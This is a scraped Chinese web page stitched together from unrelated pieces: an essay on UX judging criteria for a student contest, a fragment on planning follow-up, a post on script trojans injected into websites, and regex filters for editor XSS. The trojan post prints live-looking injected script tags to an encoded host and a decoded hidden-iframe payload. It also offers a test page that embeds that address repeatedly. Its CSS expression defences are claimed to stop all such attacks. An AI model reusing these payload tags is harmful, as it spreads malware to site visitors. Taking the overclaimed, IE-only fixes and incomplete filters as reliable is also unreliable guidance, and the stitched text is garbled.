“用户体验”评分原则及职业素养

 更新时间:2016年9月20日 19:06  点击:1495

1、在接受网易奥运观方站比赛“用户体验评委”的任务之前,我很犹豫。因为“如何量化用户体验”永远是一个不能有精确解答的问题。作一个关于用户体验的评委很难。
用户体验是用户在使用产品/服务过程中建立的主观感受。不同用户的真实体验无法准确模拟。只能通过合适的模拟/实验来简单认识(算不上量化)界定明确的用户群的体验共性。

2、我是对之前参赛情况作了一些了解后才决定接受这个任务。
1) 基本可以为每个参赛作品界定一个明确的用户群 ─ 该参赛队所在高校的同学和老师。
2) 之前参赛作品普遍都在起步阶段,可以通过一些简单的用户体验基础原则和可用性标准,来区分作品的等级。
3) 这件事可以让更多的未来从业者了解和认识用户体验和产品设计。

3、任何产品/品牌的用户体验层次可以这么划分:”有用、能用、易用、友好”
首 先且永远都必须全力考虑“是否对用户有用,有什么用,如何对用户更有用?”;然后要全力让产品“能用。让用户真的可以顺利用上。”;接下来得让产品更加的 “易用。让用户可以更简单的使用”;最后要做到对用户更“友好”(这里的友好不只是视觉友好,还包括文字等一切和产品气质有关的东西),让用户在使用中感 受到愉悦。

4、我的简单评分原则是:
1) 是否对同学/老师有用。
不能一上去让我看到全是什么“娱乐八卦”或者“大波MM”或者满屏幕的抵制XXX。(有人会说同学们想看到的就是这些。但我认为这些只是他们想要的,并不是真正对他们有用的)
2) 是否可以解决最基础的兼容、稳定、速度等问题,做到“能用”。
不支持firefox,加载不流畅,前端代码混乱,速度不稳定,程序经常出错。都是很有问题的。
3) 是否符合简单的设计原则,使用过程是否简单容易。
常见问题:整体混乱没有信息规划,流程复杂,导航不清晰,使用过程不顺畅,整体设计不统一,等。
4) 界面设计是否舒服,展现给我的感觉是否友好。
常见问题:视觉元素过多,多余的视觉效果太多干扰正常内容,文字表达难理解,界面风格不统一,不能很好的把环境跟设计任何起来等
5) 是否有自己的创新,或者有自己的设计风格/特点。有没有可以让我记住的亮点。
6) 和上一次相比是否有进步,进步多大。
7) ..

5、当然,这个评分标准一定是建立在一个最基础的问题之上:参赛者具备基本的职业道德和素养。因为没有基础的职业素养就没有资格参赛。
我不反对且支持使用开源程序(技术开源可以让我们节约更多的社会劳动力),因为技术只是设计的实现手段,就好像产品的一切都是满足用户需求的解决手段。
但对于比赛,我们必须要有自己的原创设计。使用开源程序的时候,不能连表现层也不做任何优化和修改就拿来参赛,这是对于比赛和评委的不尊重,那些东西也根本不能算是你的“答卷”。我只给1分。(当你考试的时候填写了名字交白卷)
如果免费用了别人的开源程序,必须保留其Powered。如果连版权信息都给故意抹去,或者写上你的,这是对整个IT行业尤其是版权所有者的不尊重。我也有充分理由认为你是在蒙评委,让评委以为“这是你的原创”。这样作品的我给0分。
如果拿了别人的网站直接用,不做任何修改,不给留署名(让评委误认为是你的设计),在评委或者观众给出高评价时还不能主动站出来说“其实这不是我们的原创”。我会认为“这就是抄袭”,给负分(给你0分的同时为其他参赛队加分),并要求组织方核实是否需要取消比赛资格。

6、请不要说“抄袭也是需要能力的,怎么能给负分呢?”。这无异于说“作强盗也是需要实力的,怎么能没有社会价值呢?”。

就像我曾经说过的一样:作为一个产品设计从业者,面对“抄袭”应该有自己的“态度”,这是基本的职业素养。
我无权也无力辱骂那些丧心病狂的抄袭者,但我会拒绝使用,拒绝对这种产品的任何推广,并尽可能的抵制他们。更希望原创者们能有自己高质量的设计,让抄袭者看到“不丧 心病狂的抄袭,一样可以堂堂正正的做人”。

真诚的希望看到更多更好的作品出现,看到更多的原创和创新,而不是更多的机械化模仿、拷贝、抄袭、不留版权的转载和复制。对于这次比赛是这样,对于整个互联网行业也是同样的期待。
因为这个比赛其实只是整个IT行业的缩影,虽然他们还只是学生但早已被这个感染…

三、在规划之后

作为专业的规划人员,仅仅把方案规划完成只能算完成了整体的50%而已,而更艰巨的任务是在其后发生的。而这里将牵扯一个更重要的问题,那就是‘盯单’,很多时候在很多企业大家总认为,追踪一张订单改是销售员的工作,可是往往促成最后成交的因素是在第一次或者其后修改的规划方案当中。因而在规划之后要一定要不时的追踪自己的方案,无论是从销售人员那里还是直接从客户那里。以便及时的调整相关规划方案。

同时,追踪需要限度,有些公司的规划和销售是完全不相关的两个独立部门,而这个时候规划人员太多的关心就有可能转化为对销售人员的销售干预。因而需要适度的了解,最好可以长期和某几个销售员合作,避免误会产生。

最后,这不过是一家之谈,有很多地方在真实环境中是根本无法实现的,所以需要做的就是尽可能的多,尽可能的让信息准确,尽可能的考虑全面。

<

还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。

  前不久《一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:

复制内容到剪贴板
代码:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>

汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:

复制内容到剪贴板
代码:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")

又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!

复制内容到剪贴板
代码:
...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)。

针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:

<script src=http://%76%63%63%64%2E%63%6E></script>

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1:

复制内容到剪贴板
代码:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
    缺点:访客无法看到被感染了<script>木马的页面。
     

解决方案2:

复制内容到剪贴板
代码:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。


解决方案3:

复制内容到剪贴板
代码:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}

 原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:

复制内容到剪贴板
代码:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

   原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:

复制内容到剪贴板
代码:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));}

   第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

复制内容到剪贴板
代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>让JS木马的进程迅速中止的CSS代码</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>

其中1.js是自己本站的:

复制内容到剪贴板
代码:
document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");

我的测试环境是:
  Windows XP SP2 和windows Vista SP1
      IE6/IE7/IE8
      已全部打好补丁。
综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

    大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。

过滤所见所得编辑器里的危险脚本

<textarea id="bug" cols="80" rows="5">
<a onclick="test();
test1()"  onblur=
"test3()">test</a>
</textarea>
<button id="kick">抓虫2</button>
<script>
function kickBug(str) {
  return str.replace(/<[a-z][^>]+/ig,
           function($0,$1){
              return $0.replace(/\s*on[a-z]+\s*=\s*("[^"]+"|'[^']+'|[^\s]+)\s*/ig,"");
           }
  );
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
 return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
 this.textContent = text;
});
document.getElementById("kick").onclick = function() {
  var bug = document.getElementById("bug");
  bug.innerText = kickBug(bug.innerText);
}
</script>

 

<textarea id="bug" cols="80" rows="5">
<a onclick="test();" href="
javascript:alert('a')" href="javascript:"
href="vbscript:alert()"
>test</a>
</textarea>
<button id="kick">抓虫3</button>
<script>
function kickBug(str) {
  return str.replace(/<[a-z][^>]+/ig,
           function($0,$1){
              return $0.replace(/\s*(href|src)\s*=\s*("\s*(javascript|vbscript):[^"]+"|'\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\s]+)/ig,"");
           }
  );
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
 return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
 this.textContent = text;
});
document.getElementById("kick").onclick = function() {
  var bug = document.getElementById("bug");
  bug.innerText = kickBug(bug.innerText);
}
</script>

 

所见所得的编辑器现在用得越来越多,原因之一,用户体验好。但是作为开发者,我们也应该清醒的认识到,这样的编辑器往往成了危险脚本、木马的温床。我们不能容忍蛀虫就在我们自己的东西里面滋生。
下面我就来尝试用正则替换的办法,使得编辑器里面的脚本无所遁形。可能我想的不是很全面,希望有漏网之鱼的,朋友们请提出。
脚本藏身之处不过有四:
1、<script>标签
2、on开头的标签属性
3、javascript(vbscript)伪协议
4、css的epression
5、<iframe>标签
下面是他们的字符串规则:
1、<script(.|\n)*\/script>\s*
2、\s*on[a-z]+\s*=\s*("[^"]+"|'[^']+'|[^\s]+)\s*(?=>)
3、\s*(href|src)\s*=\s*("\s*(javascript|vbscript):[^"]+"|'\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\s]+)\s*(?=>)
4、epression\((.|\n)*\);?
5、<iframe(.|\n)*\/iframe>\s*
了解他们的规则后,抓虫行动就水到渠成。下面看具体代码:

<textarea id="bug" cols="80" rows="5">
<button id="kick">抓虫1</button>
<script>
function kickBug(str) {
  return str.replace(/<script(.|\n)*\/script>\s*/ig,"");
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
 return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
 this.textContent = text;
});
document.getElementById("kick").onclick = function() {
  var bug = document.getElementById("bug");
  bug.innerText = kickBug(bug.innerText);
}
</script>
</textarea>
<button id="kick">抓虫</button>
<script>
function kickBug(str) {
  return str.replace(/<script(.|\n)*\/script>\s*/ig,"");
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
 return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
 this.textContent = text;
});
document.getElementById("kick").onclick = function() {
  var bug = document.getElementById("bug");
  bug.innerText = kickBug(bug.innerText);
}
</script>

[!--infotagslink--]

相关文章

  • php 获取用户IP与IE信息程序

    php 获取用户IP与IE信息程序 function onlineip() { global $_SERVER; if(getenv('HTTP_CLIENT_IP')) { $onlineip = getenv('HTTP_CLIENT_IP');...2016-11-25
  • php简单用户登陆程序代码

    php简单用户登陆程序代码 这些教程很对初学者来讲是很有用的哦,这款就下面这一点点代码了哦。 <center> <p>&nbsp;</p> <p>&nbsp;</p> <form name="form1...2016-11-25
  • php根据用户语言跳转相应网页

    当来访者浏览器语言是中文就进入中文版面,国外的用户默认浏览器不是中文的就跳转英文页面。 <&#63;php $lan = substr(&#8194;$HTTP_ACCEPT_LANGUAGE,0,5); if ($lan == "zh-cn") print("<meta http-equiv='refresh' c...2015-11-08
  • php有效防止同一用户多次登录

    【问题描述】:同一用户在同一时间多次登录如果不能检测出来,是危险的。因为,你无法知道是否有其他用户在登录你的账户。如何禁止同一用户多次登录呢? 【解决方案】 (1) 每次登录,身份认证成功后,重新产生一个session_id。 s...2015-11-24
  • JS实现仿百度文库评分功能

    本文给大家分享基于js实现仿百度文库评分功能,代码简单易懂,非常不错,具有参考借鉴价值,需要的的朋友参考下吧...2017-01-16
  • js检测用户输入密码强度

    一个用Javascript检测用户输入密码强度的效果代码,以下代码主要是从以下四个方面检测用户输入的密码的强度的,有兴趣的朋友可以自己添加或修改成自己想要的形式! 1. 如果输入的密码位数少于5位,那么就判定为弱。 2. 如果...2015-10-23
  • php ajax注册验证用户名是否存在代码

    这是注册程序是一款当用户输入完用户名是,就会自动去数据库中查询用户要注册的用户名是否己经被注册了,如果是返回提示否则提示可以注册。 conn.php文件 代...2016-11-25
  • 微信小程序用户授权最佳实践指南

    这篇文章主要给大家介绍了关于微信小程序用户授权最佳实践的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-05-08
  • 简单php cookie用户登录实例

    cookie 的用途之一是存储用户在特定网站上的密码和 id。另外,也用于存储起始页的首选项。在提供个人化查看的网站上,将要求阁下的网络浏览器利用阁下计算机硬驱上的少量...2016-11-25
  • 超详细的php用户注册页面填写信息完整实例(附源码)

    注册页面是大多数网站必备的页面,所以很有必要对自己的注册页面做些精心的设计。下面三张图,第一张是注册的展示页面,第二张思维导图就一个简单的逻辑,第三张是通过firebug查看调用的JS文件。 一、给每个输入框写下说明在...2015-11-24
  • MySQL验证用户权限的方法

    知识归纳因为MySQL是使用User和Host两个字段来确定用户身份的,这样就带来一个问题,就是一个客户端到底属于哪个host。 如果一个客户端同时匹配几个Host,对用户的确定将按照下面的优先级来排 基本观点越精确的匹配越优先...2015-11-08
  • sqlserver添加sa用户和密码的实现

    这篇文章主要介绍了sqlserver添加sa用户和密码的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-05-07
  • 如何有效提高网站的用户回头率

    第一,网站的内容;请各位站长朋友不要一天到晚只想着出什么好的绝招来推广网站,却忽略了网站的内容;其实网站的内容是极为重要的,因为这是你的本,你的根!网站的内容只有不断...2017-07-06
  • vue实现带小数点的星星评分

    这篇文章主要为大家详细介绍了vue实现带小数点的星星评分,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-09-18
  • mysql误删root用户恢复方法

    装完数据库清理一些默认账号的时候不小心把root删除了,flush privileges 之后的新 root 忘了grant任何权限,查看mysqld选项里面有个 &#8722;&#8722;skip-grant-tables复制代码 代码如下: #/usr/libexec/mysqld --verbos...2015-03-15
  • Win2012服务器 远程桌面帐户允许多用户同时登录的配置方法

    这篇文章主要介绍了Win2012服务器 远程桌面帐户允许多用户同时登录的配置方法,需要的朋友可以参考下...2016-11-01
  • 关于JSP用户登录连接数据库详情

    这篇文章主要介绍了关于JSP用户登录连接数据库的相关资料,需要的朋友可以参考下面文章内容...2021-09-07
  • 如何判断用户是否访问过某个网址

    一位站长译的一个国外的如何判断用户是否访问过某个网址文章,个人感觉写得非常不错,下面分享一下。 我们经常有这样的需求:想知道用户之前有没有访问过某个网址。有...2016-09-20
  • dos之net创建管理员用户的实现

    这篇文章主要介绍了dos之net创建管理员用户的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-06-30
  • Oracle用户自定义异常实现过程解析

    这篇文章主要介绍了Oracle用户自定义异常实现过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-09-29